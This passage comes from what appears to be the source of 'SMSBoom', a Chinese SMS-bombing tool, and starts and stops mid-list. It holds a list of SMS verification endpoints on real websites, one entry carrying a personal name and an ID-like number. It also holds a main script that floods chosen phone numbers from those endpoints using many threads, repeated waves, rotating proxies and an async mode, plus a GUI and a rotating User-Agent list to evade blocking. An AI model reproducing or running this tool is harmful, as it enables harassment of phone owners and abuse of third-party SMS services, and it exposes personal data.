\"phoneNumber\": \"[phone]\",\n            \"sendType\": \"0\"\n        },\n        \"http://ut7.whu.edu.cn/Home/studentCommon/studentLogin.jsp\"\n    ],\n    [\n        \"https://www.0101ssd.com/user/sendmsg\",\n        60,\n        \"闪德资讯\",\n        \"POST\",\n        {\n            \"mobile\": \"[phone]\",\n            \"event\": \"register\"\n        },\n        \"https://www.0101ssd.com/\"\n    ],\n    [\n        \"https://mskzkt.jse.edu.cn/baseApi/user/code/\",\n        60,\n        \"江苏省名师空中课堂\",\n        \"POST\",\n        {\n            \"mobile\": \"[phone]\",\n            \"type\": \"1\"\n        },\n        \"https://mskzkt.jse.edu.cn/baseApi/user/code/\"\n    ],\n    [\n        \"https://csff.cutv.com/wapi/users/sendregcode\",\n        60,\n        \"CSFF短片\",\n        \"POST\",\n        {\n            \"telphone\": \"[phone]\"\n        },\n        \"https://csff.cutv.com/register\"\n    ],\n    [\n        \"http://rswb.gx12333.net/member/getRegisterphoneCode.jspx\",\n        60,\n        \"广西人社厅\",\n        \"POST\",\n        {\n            \"aae005\": \"[phone]\",\n            \"aac003\": \"刘萌萌\",\n            \"aac002\": \"210212198506035924\",\n            \"notkeyflag\": \"1\"\n        },\n        \"http://rswb.gx12333.net/member/register.jhtml\"\n    ],\n    [\n        \"https://www.maxell-dm.cn/Code/CheckImage.aspx\",\n        60,\n        \"麦克赛尔数字映像\",\n        \"POST\",\n        {\n            \"action\": \"send\",\n            \"txtMember_Name\": \"[phone]\"\n        },\n        \"https://www.maxell-dm.cn/register.aspx\"\n    ],\n    [\n        \"http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action\",\n        60,\n        \"宝提分\",\n        \"POST\",\n        {\n            \"mobile\": \"[phone]\"\n        },\n        \"http://main.jiajiaozaixian.com/zhuce/student/zhuce_xy1.jsp?\"\n    ],\n    [\n        \"http://www.cnppump.ltd/Service/UserHandler.ashx\",\n        60,\n        \"选型系统\",\n        \"GET\",\n        {\n            \"cmd\": \"GetTelVerifyCode\",\n            \"Tel\": \"[phone]\"\n        },\n        \"http://www.cnppump.ltd/Register/RegisterByTel.aspx\"\n    ],\n    [\n        \"http://vip.qianlima.com/rest/u/api/user/register/mobile/code\",\n        60,\n        \"千里马网信科技\",\n        \"POST\",\n        {\n            \"tips\": \"1\",\n            \"shouji\": \"[phone]\"\n        },\n        \"http://vip.qianlima.com/register.html\"\n    ],\n    [\n        \"https://baodingyun.com.cn/register/send_registerSMS.html\",\n        60,\n        \"保定云\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\"\n        },\n        \"https://baodingyun.com.cn/register.html\"\n    ],\n    [\n        \"http://www.gm5.com/auth/registerSms.html\",\n        60,\n        \"欢动游戏\",\n        \"POST\",\n        {\n            \"mobile\": \"[phone]\"\n        },\n        \"http://www.gm5.com/auth/register.html\"\n    ],\n    [\n        \"https://www.maiwe.com.cn/index/sendcode.html\",\n        60,\n        \"迈威\",\n        \"GET\",\n        {\n            \"tel\": \"[phone]\"\n        },\n        \"https://www.maiwe.com.cn/index/register.html\"\n    ],\n    [\n        \"https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86\",\n        60,\n        \"憨鼠社区\",\n        \"GET\",\n        {},\n        \"\"\n    ],\n    [\n        \"https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112\",\n        60,\n        \"天鹅到家\",\n        \"GET\",\n        {},\n        \"\"\n    ],\n    [\n        \"http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=\",\n        60,\n        \"诺达筑工\",\n        \"GET\",\n        {},\n        \"\"\n    ],\n    [\n        \"http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2\",\n        60,\n        \"栋才智慧\",\n        \"GET\",\n        {},\n        \"\"\n    ],\n    [\n        \"http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69\",\n        60,\n        \"工伤预防网上培训平台\",\n        \"GET\",\n        {},\n        \"\"\n    ],\n    [\n        \"https://sdjn-web.yxlearning.com/sendphoneCode.gson\",\n        60,\n        \"济宁专技\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\",\n            \"sendType\": \"4\"\n        },\n        \"https://sdjn-web.yxlearning.com/staffRegister.shtml\"\n    ],\n    [\n        \"http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1\",\n        60,\n        \"宁夏伊地地质工程有限公司\",\n        \"GET\",\n        {},\n        \"\"\n    ],\n    [\n        \"http://zycp.qcdxs.com:5001/sms/sendsms\",\n        60,\n        \"青春大学说\",\n        \"POST\",\n        {\n            \"phone_number\": \"[phone]\"\n        },\n        \"http://zycp.qcdxs.com/user/register.html\"\n    ],\n    [\n        \"https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms\",\n        60,\n        \"兴业利达电子招投标平台\",\n        \"POST\",\n        {\n            \"username\": \"[phone]\",\n            \"type\": \"regUser\",\n            \"mobile\": \"PC\"\n        },\n        \"https://www.gzxyld.cn/HuiEbid/view/register.html\"\n    ],\n    [\n        \"https://v1.alphazone-data.cn/academy/api/v1/sendsms\",\n        60,\n        \"火象\",\n        \"POST\",\n        {\n            \"temp\": \"1\",\n            \"phone\": \"[phone]\"\n        },\n        \"https://www.alphazone.com.cn/register.html\"\n    ],\n    [\n        \"https://www.vipexam.cn/user/identifyingCode.action\",\n        60,\n        \"中科教育\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\"\n        },\n        \"https://www.vipexam.cn/register.html\"\n    ],\n    [\n        \"https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb\",\n        60,\n        \"聚题库\",\n        \"GET\",\n        {},\n        \"\"\n    ],\n    [\n        \"https://jssnd.edu.cn/apiu/v1/register/auth\",\n        60,\n        \"苏州高新区教育局\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\"\n        },\n        \"https://jssnd.edu.cn/register.html\"\n    ],\n    [\n        \"http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8\",\n        60,\n        \"专业技术人员继续教育平台\",\n        \"GET\",\n        {},\n        \"\"\n    ],\n    [\n        \"https://sdta-web.yxlearning.com/sendphoneCode.gson\",\n        60,\n        \"泰安专技\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\",\n            \"sendType\": \"4\"\n        },\n        \"https://sdta-web.yxlearning.com/staffRegister.shtml\"\n    ],\n    [\n        \"https://www.vipexam.cn/user/identifyingCode.action\",\n        60,\n        \"志睿择\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\"\n        },\n        \"https://www.vipexam.cn/register.html\"\n    ],\n    [\n        \"https://www.bugbank.cn/api/verifymobile\",\n        90,\n        \"漏洞银行\",\n        \"POST\",\n        {\n            \"mobile\": \"[phone]\"\n        },\n        \"https://www.bugbank.cn/bbe/register.html\"\n    ],\n    [\n        \"https://www.clssn.com/jhxtapi/web/Login/sendSmsCode\",\n        60,\n        \"中国劳动保障新闻网\",\n        \"POST\",\n        {\n            \"mobile\": \"[phone]\"\n        },\n        \"https://www.clssn.com/register.html\"\n    ],\n    [\n        \"http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html\",\n        60,\n        \"广东省心理学会\",\n        \"POST\",\n        {\n            \"phone\": \"[phone]\"\n        },\n        \"http://gpa-gd.scnu.edu.cn/member/index/register.html?siteid=1\"\n    ],\n    [\n        \"https://www.feeclouds.com/homepage/register/send\",\n        60,\n        \"费耘网\",\n        \"POST\",\n        {\n            \"mobile\": \"[phone]\"\n        },\n        \"https://www.feeclouds.com/register.html\"\n    ]\n]"
  },
  {
    "path": "smsboom.py",
    "content": "# encoding=utf8\n# 短信测压主程序\n\nfrom utils import default_header_user_agent\nfrom utils.log import logger\nfrom utils.models import API\nfrom utils.req import reqFunc, reqFuncByProxy, runAsync\nfrom concurrent.futures import ThreadPoolExecutor\nfrom typing import List, Union\nimport asyncio\nimport json\nimport pathlib\nimport sys\nimport time\nimport click\nimport httpx\nimport os\n\n# 確定應用程序係一個腳本文件或凍結EXE\nif getattr(sys, 'frozen', False):\n    path = os.path.dirname(sys.executable)\nelif __file__:\n    path = os.path.dirname(__file__)\n\n\ndef load_proxies() -> list:\n    \"\"\"load proxies for files\n    :return: proxies list\n    \"\"\"\n    proxy_all = []\n    proxy_file = [\"http_proxy.txt\", \"socks5_proxy.txt\", \"socks4_proxy.txt\"]\n    for fn in proxy_file:\n        f_obj = pathlib.Path(path, fn)\n        if f_obj.exists():\n            proxy_lst = pathlib.Path(path, fn).read_text(\n                encoding=\"utf8\").split(\"\\n\")\n            if not proxy_lst:\n                continue\n            if fn == \"http_proxy.txt\":\n                for proxy in proxy_lst:\n                    if proxy:\n                        proxy_all.append({'all://': 'http://' + proxy})\n            elif fn == \"socks5_proxy.txt\":\n                for proxy in proxy_lst:\n                    if proxy:\n                        proxy_all.append({'all://': 'socks5://' + proxy})\n            elif fn == \"socks4_proxy.txt\":\n                for proxy in proxy_lst:\n                    if proxy:\n                        proxy_all.append({'all://': 'socks4://' + proxy})\n        else:\n            f_obj.touch()\n    logger.success(f\"代理列表加载完成,代理数:{len(proxy_all)}\")\n    return proxy_all\n\n\ndef load_json() -> List[API]:\n    \"\"\"load json for api.json\n    :return: api list\n    \"\"\"\n    json_path = pathlib.Path(path, 'api.json')\n    if not json_path.exists():\n        logger.error(\"Json file not exists!\")\n        raise ValueError\n\n    with open(json_path.resolve(), mode=\"r\", encoding=\"utf8\") as j:\n        try:\n            datas = json.loads(j.read())\n            APIs = [\n                API(**data)\n                for data in datas\n            ]\n            logger.success(f\"api.json 加载完成 接口数:{len(APIs)}\")\n            return APIs\n        except Exception as why:\n            logger.error(f\"Json file syntax error:{why}\")\n            raise ValueError\n\n\ndef load_getapi() -> list:\n    \"\"\"load GETAPI\n    :return:\n    \"\"\"\n    json_path = pathlib.Path(path, 'GETAPI.json')\n    if not json_path.exists():\n        logger.error(\"GETAPI.json file not exists!\")\n        raise ValueError\n\n    with open(json_path.resolve(), mode=\"r\", encoding=\"utf8\") as j:\n        try:\n            datas = json.loads(j.read())\n            logger.success(f\"GETAPI加载完成,数目:{len(datas)}\")\n            return datas\n        except Exception as why:\n            logger.error(f\"Json file syntax error:{why}\")\n            raise ValueError\n\n\n@click.command()\n@click.option(\"--thread\", \"-t\", help=\"线程数(默认64)\", default=64)\n@click.option(\"--phone\", \"-p\", help=\"手机号,可传入多个再使用-p传递\", multiple=True, type=str)\n@click.option('--frequency', \"-f\", default=1, help=\"执行次数(默认1次)\", type=int)\n@click.option('--interval', \"-i\", default=60, help=\"间隔时间(默认60s)\", type=int)\n@click.option('--enable_proxy', \"-e\", is_flag=True, help=\"开启代理(默认关闭)\", type=bool)\ndef run(thread: int, phone: Union[str, tuple], frequency: int, interval: int, enable_proxy: bool = False):\n    \"\"\"传入线程数和手机号启动轰炸,支持多手机号\"\"\"\n    while not phone:\n        phone = input(\"Phone: \")\n    for i in phone:\n        if not i.isdigit():\n            logger.error(\"手机号必须为纯数字！\")\n            sys.exit(1)\n    logger.info(\n        f\"手机号:{phone}, 线程数:{thread}, 执行次数:{frequency}, 间隔时间:{interval}\")\n    try:\n        _api = load_json()\n        _api_get = load_getapi()\n        _proxies = load_proxies()\n        # fix: by Ethan\n        if not _proxies:\n            if enable_proxy:\n                logger.error(\"无法读取任何代理....请取消-e\")\n                sys.exit(1)\n            _proxies = [None]\n    except ValueError:\n        logger.error(\"读取接口出错!正在重新下载接口数据!....\")\n        update()\n        sys.exit(1)\n\n    with ThreadPoolExecutor(max_workers=thread) as pool:\n        for i in range(1, frequency + 1):\n            logger.success(f\"第{i}波轰炸开始！\")\n            # 此處代碼邏輯有問題,如果 _proxy 為空就不會啓動轟炸,必須有東西才行\n            for proxy in _proxies:\n                logger.success(f\"第{i}波轰炸 - 当前正在使用代理：\" +\n                                proxy['all://'] + \" 进行轰炸...\") if enable_proxy else logger.success(f\"第{i}波开始轰炸...\")\n                # 不可用的代理或API过多可能会影响轰炸效果\n                for api in _api:\n                    pool.submit(reqFuncByProxy, api, phone, proxy) if enable_proxy else pool.submit(\n                        reqFunc, api, phone)\n                for api_get in _api_get:\n                    pool.submit(reqFuncByProxy, api_get, phone, proxy) if enable_proxy else pool.submit(\n                        reqFunc, api_get, phone)\n                logger.success(f\"第{i}波轰炸提交结束！休息{interval}s.....\")\n                time.sleep(interval)\n\n\n@click.option(\"--phone\", \"-p\", help=\"手机号,可传入多个再使用-p传递\", prompt=True, required=True, multiple=True)\n@click.command()\ndef asyncRun(phone):\n    \"\"\"以最快的方式请求接口(真异步百万并发)\"\"\"\n    _api = load_json()\n    _api_get = load_getapi()\n\n    apis = _api + _api_get\n\n    loop = asyncio.get_event_loop()\n    loop.run_until_complete(runAsync(apis, phone))\n\n\n@click.option(\"--phone\", \"-p\", help=\"手机号,可传入多个再使用-p传递\", prompt=True, required=True, multiple=True)\n@click.command()\ndef oneRun(phone):\n    \"\"\"单线程(测试使用)\"\"\"\n    _api = load_json()\n    _api_get = load_getapi()\n\n    apis = _api + _api_get\n\n    for api in apis:\n        try:\n            reqFunc(api, phone)\n        except:\n            pass\n\n\n@click.command()\ndef update():\n    \"\"\"从 github 获取最新接口\"\"\"\n    GETAPI_json_url = f\"https://hk1.monika.love/OpenEthan/SMSBoom/master/GETAPI.json\"\n    API_json_url = f\"https://hk1.monika.love/OpenEthan/SMSBoom/master/api.json\"\n    logger.info(f\"正在从GitHub拉取最新接口!\")\n    try:\n        with httpx.Client(verify=False, timeout=10) as client:\n            GETAPI_json = client.get(\n                GETAPI_json_url, headers=default_header_user_agent()).content.decode(encoding=\"utf8\")\n            api_json = client.get(\n                API_json_url, headers=default_header_user_agent()).content.decode(encoding=\"utf8\")\n\n    except Exception as why:\n        logger.error(f\"拉取更新失败:{why}请关闭所有代理软件多尝试几次!\")\n    else:\n        with open(pathlib.Path(path, \"GETAPI.json\").absolute(), mode=\"w\", encoding=\"utf8\") as a:\n            a.write(GETAPI_json)\n        with open(pathlib.Path(path, \"api.json\").absolute(), mode=\"w\", encoding=\"utf8\") as a:\n            a.write(api_json)\n        logger.success(f\"接口更新成功!\")\n\n\n@click.group()\ndef cli():\n    pass\n\n\ncli.add_command(run)\ncli.add_command(update)\ncli.add_command(asyncRun)\ncli.add_command(oneRun)\n\nif __name__ == \"__main__\":\n    cli()\n"
  },
  {
    "path": "smsboom_GUI.py",
    "content": "from tkinter import Tk, StringVar\nfrom tkinter import ttk\n\n\nclass InputWidget(ttk.Frame):\n    \"\"\"输入框,确认框\"\"\"\n\n    def __init__(self, parent=None):\n        ttk.Frame.__init__(self, parent)\n        self.parent = parent\n        self.columnconfigure(0, weight=1)\n        self.rowconfigure(0, weight=1)\n        self.phone = StringVar()\n        self.createWidget()\n\n        for child in self.winfo_children(): \n            child.grid_configure(padx=5, pady=5)\n\n        self.pack()\n\n    def createWidget(self):\n        \"\"\"InputWidget\"\"\"\n        ttk.Label(self, text=\"手机号:\").grid(column=0, row=0, sticky='nsew')\n        ttk.Entry(self, textvariable=self.phone).grid(\n            column=1, row=0, columnspan=3, sticky='nsew')\n        ttk.Button(self, text=\"启动轰炸\").grid(\n            column=4, row=0, sticky='nsew')\n\n\nclass Application(ttk.Frame):\n    \"\"\"APP main frame\"\"\"\n\n    def __init__(self, parent=None):\n        ttk.Frame.__init__(self, parent)\n        self.parent = parent\n        # 伸缩\n        self.columnconfigure(0, weight=1)\n        self.rowconfigure(0, weight=1)\n        self.createWidget()\n        # 间隔\n        for child in self.winfo_children(): \n            child.grid_configure(padx=5, pady=5)\n\n        self.pack()\n\n    def createWidget(self):\n        \"\"\"Widget\"\"\"\n        input_wiget = InputWidget(self)\n\n\nif __name__ == \"__main__\":\n    root = Tk()\n    root.title(\"SMSBoom - 短信轰炸机 ©落落\")\n    root.columnconfigure(0, weight=1)\n    root.rowconfigure(0, weight=1)\n    Application(parent=root)\n    root.mainloop()\n"
  },
  {
    "path": "utils/__init__.py",
    "content": "\nimport random\n\nUSER_AGENT_LIST = [\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 5.0 alpha2)\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon;\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20040614 Firefox/0.9\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.3.4000 Chrome/30.0.1599.101 Safari/537.36\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TencentTraveler)\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.370.0 Safari/533.4\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.31 Safari/525.19\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.42 Safari/525.19\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.8\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9\"},\n    {\"User-Agent\": \"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.811.0 Safari/535.1\"},\n    {\"User-Agent\": \"ozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.127 Safari/533.4\"},\n    {\n        \"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.50\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/0.9.2 StumbleUpon/1.994\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.5) Gecko/20041110 Firefox/1.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36\"},\n    {\"User-Agent\": \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\"},\n    {\"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\"},\n    {\n        \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 